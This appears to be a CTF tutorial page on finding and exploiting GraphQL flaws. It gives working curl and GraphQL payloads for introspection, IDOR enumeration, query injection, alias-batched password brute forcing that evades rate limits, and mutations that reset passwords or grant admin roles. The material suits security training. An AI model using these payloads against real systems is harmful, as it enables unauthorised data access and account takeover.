GraphQL Security
Find and exploit GraphQL introspection, injection, and authorization flaws in CTF web challenges.
GraphQL Security
GraphQL is an API query language that lets clients specify exactly what data they need. CTF web challenges using GraphQL typically involve introspection abuse, injection, IDOR via direct field access, or bypassing authentication.
Fingerprinting GraphQL
# Common endpoints
/graphql
/api/graphql
/graphql/v1
/api/v1/graphql
/query
# Check for GraphQL response
curl -s -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
# → {"data":{"__typename":"Query"}} means GraphQL!Step 1: Introspection
Introspection lets you discover the entire schema - all types, queries, and mutations:
# Full introspection query
curl -s -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}'
# Or use InQL (Burp extension) or GraphQL Voyager for visualizationInQL (Burp Extension): automatically sends introspection and generates a query template for every type.
Step 2: Finding Sensitive Queries
Look through the schema for interesting queries:
# Look for:
# - queries named: flag, admin, secret, user, token
# - mutations that change roles or passwords
# - types with sensitive fields: password, token, secret
# Example interesting query:
query {
flag {
value
}
}
query {
user(id: 1) {
username
password
isAdmin
}
}Step 3: IDOR via Direct ID Access
GraphQL often exposes objects by ID without proper authorization:
# Access another user's data
query {
user(id: 1) {
username
email
flag
}
}
# Enumerate users
query {
user(id: 2) {
username
}
}Step 4: Authentication Bypass via Introspection
Some implementations don't apply auth to introspection:
# If introspection is allowed but authenticated queries are not,
# you can still see the schema and potentially craft valid queries
# that bypass the auth check
# Try querying without authentication:
query {
secretQuery {
flag
}
}GraphQL Injection
If user input is interpolated into GraphQL queries:
# Vulnerable: query built by string concatenation
# Input: ") { flag } query IgnoreThis { user(id: "1
# Results in valid but unintended GraphQL
# Test with:
" { __typename }Batching Attack (Brute Force via Aliases)
GraphQL supports multiple queries in one request using aliases. This bypasses rate limiting:
# Brute force password by sending 100 attempts in one request:
query {
attempt0: login(username: "admin", password: "password0") {
token
}
attempt1: login(username: "admin", password: "password1") {
token
}
attempt2: login(username: "admin", password: "password2") {
token
}
# ... up to 100+ in one request
}Mutation Examples
# Change password
mutation {
changePassword(userId: 1, newPassword: "hacked") {
success
}
}
# Promote to admin
mutation {
updateUser(id: 2, role: ADMIN) {
id
role
}
}Tools
# GraphQL Voyager (visualize schema)
# Upload your introspection JSON to:
# https://graphql-kit.com/graphql-voyager/
# Altair GraphQL Client (GUI for queries)
# Download from: altair.sirmuel.design
# InQL (Burp Suite extension)
# BApp Store → InQL → installs automatically
# GraphQL map (CLI scanner)
pip3 install graphqlmap
graphqlmap -u http://target.com/graphql --introspectionChecklist
- Find the GraphQL endpoint: /graphql, /api/graphql
- Run introspection to get full schema
- Look for: flag, secret, admin, password, token fields/queries
- Try IDOR: access objects with different IDs
- Try mutations: change role, change password, delete
- Test without authentication (bypass)
- Batching: brute force in a single request
- Injection: test string interpolation points
- Use InQL (Burp) or graphqlmap for automation
Last updated on